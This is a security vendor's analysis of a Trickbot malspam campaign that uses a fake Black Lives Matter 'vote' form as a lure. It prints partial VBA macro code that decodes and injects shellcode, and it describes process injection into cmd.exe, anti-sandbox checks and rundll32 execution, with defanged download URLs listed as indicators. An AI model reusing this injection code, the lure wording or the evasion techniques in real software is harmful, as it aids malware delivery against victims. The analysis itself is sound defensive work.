Summary
The Hornetsecurity Security Lab has observed a Malspam campaign distribution Trickbot [1] that uses the Black Lives Matter movement as a lure to entice victims to open a malicious attachment. The Trickbot downloader document first injects shellcode into the WINWORD.EXE
process. Then from that shellcode spawns a cmd.exe
process into which it again injects more of the same shellcode. This cmd.exe
process then downloads the Trickbot DLL and executes it via rundll32.exe
.
Background
The initial emails claim to be from the State office
, Country authority
, or Country administration
:
The email tells the recipient they can Vote confidentially about "Black Lives Matter"
or Tell your government your opinion
, Give your opinion
, and Speak out confidentially
about "Black Lives Matter"
.
Attached is a file named e-vote_form_0000.doc
, further suggesting the email to be some sort of official vote.
However, the document only displays an image announcing a fake Office update and instructions to “Enable Editing” as well as to “Enable Content”:
If the instructions are followed the malicious VBA macro in the document is executed and downloads the Trickbot malware.
Technical Analysis
The initial portion of the infection chain until the Trickbot malware is deployed is depicted in this flow chart:
In the following analysis we will walk through each stage of this chain.
VBA macro
The VBA macro is protected against viewing in Word:
However, this “protection” only prevents Word from showing the VBA macro without a password. The VBA macro code is still accessible.
The first thing the VBA macro does is display a fake error message:
Private Sub Document_Open()
MsgBox "Error #80013123"
This results in the following pop up:
This is likely an attempt to probe for user interaction to bypass sandbox detections. It could also be an attempt to cover up that there is no document. A victim may be satisfied by receiving this error and assuming the document is broken.
The macro will use VirtualProtectEx
and CreateThread
to inject shellcode into the WINWORD.EXE
process. To this end, the code assembles one large string:
uriSubscriber = "i-j-[...]-a-a-a-"
uriSubscriber = uriSubscriber & "i-l-[...]-a-a-"
uriSubscriber = uriSubscriber & "g-k-a-a-p-p-h-f-p-i-[...]-o-g-c-c-p-k-h-c-g-j-h-d"
This string contains the encoded shellcode. It is then decoded via the following function:
Dim f() As Byte
ReDim f(0 To Len(uriSubscriber) / 2 - 1) As Byte
Dim sSmart As Long, regOptimize As Long
For Each destEnd In Split(uriSubscriber, "-")
If sSmart Mod 2 Then
regOptimize = sSmart - 1
regOptimize = regOptimize / 2
f(regOptimize) = (CByte(Asc(destEnd)) - CByte(Asc("a"))) + f((sSmart - 1) / 2)
Else
regOptimize = sSmart / 2
f(regOptimize) = (CByte(Asc(destEnd)) - CByte(Asc("a"))) * 16
End If
sSmart = sSmart + 1
Next
Last but not least, the decoded shellcode is set to PAGE_EXECUTE_READWRITE
using VirtualProtectEx
which was previously aliased to extensionsComment
and then a thread is started using the address of the shellcode as the thread’s start address using CreateThread
which has been alias to sMail
:
Private Declare Function extensionsComment Lib "kernel32" Alias "VirtualProtectEx" ( _
iMail As Long, _
bConsole As Long, _
regFunction As Long, _
tablePosition As Long, _
colMail As Long) As Long
Private Declare Function sMail Lib "kernel32" Alias "CreateThread" ( _
textTimer As Long, _
uriMail As Long, _
m As Long, _
dateMembers As Long, _
textTimer0 As Long, _
lServer As Long) As Long
[...]
sConsole = destN_ - angleTexture + UBound(f)
q = extensionsComment(ByVal ipFunction, ByVal angleTexture, ByVal sConsole, ByVal PAGE_EXECUTE_READWRITE, ByVal VarPtr(extensionsComment0))
adsLogon = sMail(ByVal 0&, ByVal 0&, ByVal destN_, ByVal 2&, ByVal 0, ByVal 0&)
adsScr 5000
The shellcode can most easily be extracted by breaking on CreateThread
in a debugger:
Shellcode WINWORD.EXE
The shellcode running in the WINWORD.EXE
process first resolves several library functions. Then uses CreateProcessA
to run a cmd.exe
with the pause
command, causing the cmd.exe
to idle:
Next, the shellcode uses a classic OpenProcess
, VirtualAllocEx
, WriteProcessMemory
, and CreateRemoteThread
sequence to do shellcode injection into the paused cmd.exe
process:
The cmd.exe /c pause
process is likely used to evade detections of creating a processes with the CREATE_SUSPENDED
flag. A technique that is usually used to start a processes in the suspended, i.e., paused, state, to then inject code into it, and then resume it.
The injected shellcode is the same shellcode that was injected into the WINWORD.EXE
process, however, the entry point passed to CreateRemoteThread
is different resulting into a different execution flow for the shellcode execution within the cmd.exe
process.
Shellcode cmd.exe
The shellcode in the cmd.exe
process will also resolve several library functions. Additionally, it will decode the Trickbot download URLs.
Next, the shellcode will query GetSystemMetrics(SM_CXSCREEN)
and GetSystemMetrics(SM_CYSCREEN)
to get the display resolution. Then GetCursorPos
is queried twice, with a call to Sleep(0x1388)
in between causing a 5 second delay.
This is likely done to verify mouse movement and avoid sandboxes.
The data is then encoded as a HTTP query string as follows: &scr=1280x1024&cur1=604x250&cur2=622x310
The download URLs are appending with an ID query string &id=00000000
and the above system metrics query string forming the final download URL which is then queried via InternetOpenUrlA
:
In case the download is successful the downloaded file is written to C:\\Users\\<username>\\AppData\\Local\\system.rre
and executed via rundll32.exe %userprofile%/system.rre,Initialize
using ShellExecuteA
. The system.rre
file is the Trickbot DLL.
In case the download is not successful the downloader sleeps and then a second download URL is tried.
Conclusion and Remediation
The double shellcode injection is likely used to evade behavioral detection as WINWORD.EXE
usually does not download files from the Internet nor execute rundll32.exe
. Hence, such anomalous behavior is more likely detected than cmd.exe
spawning the rundll32.exe
process. The query for the systems display resolution as well as double query of the cursor position is also likely done to avoid delivering the Trickbot DLL to sandbox systems.
Hornetsecurity’s Spam and Malware Protection with the highest detection rates on the market already detected and blocked the malicious Trickbot document based on a detection signature.
In case the basic detection signatures would have not blocked the emails Hornetsecurity’s Advanced Threat Protection (ATP) would not have been impacted by the various anti-sandbox mechanisms either. The human interaction simulation of the ATP sandbox successfully clicks the fake error message away for a complete execution of the malicious document:
It detects the processes being created by the document, as well as the process injections:
The human interaction simulation also results in the two queried cursor positions, send as cur1
and cur2
to the Trickbot download server, to differ:
This way Hornetsecurity’s ATP sandbox is not fooled by the various anti-sandbox techniques.
References
Indicators of Compromise (IOCs)
Hashes
SHA256 | Filename | Description |
---|---|---|
d6a44f6460fab8c74628a3dc160b9b0f1c8b91b7d238b6b4c1f83b3b43a0463d |
e-vote_form_1967.doc |
Trickbot downloader document |
URLs
hxxps[:]//ppid.indramayukab.go[.]id/may.php?omz=1&pic=b&id=[0-9]{8}&scr=[0-9]{3,4}x[0-9]{3,4}&cur1=[0-9]{3,4}x[0-9]{3,4}&cur2=[0-9]{3,4}x[0-9]{3,4}
hxxps[:]//www.inspeclabeling[.]com/wp-content/themes/processing/may.php?omz=1&pic=b&id=[0-9]{8}&scr=[0-9]{3,4}x[0-9]{3,4}&cur1=[0-9]{3,4}x[0-9]{3,4}&cur2=[0-9]{3,4}x[0-9]{3,4}
DNSs
ppid.indramayukab.go.id
www.inspeclabeling.com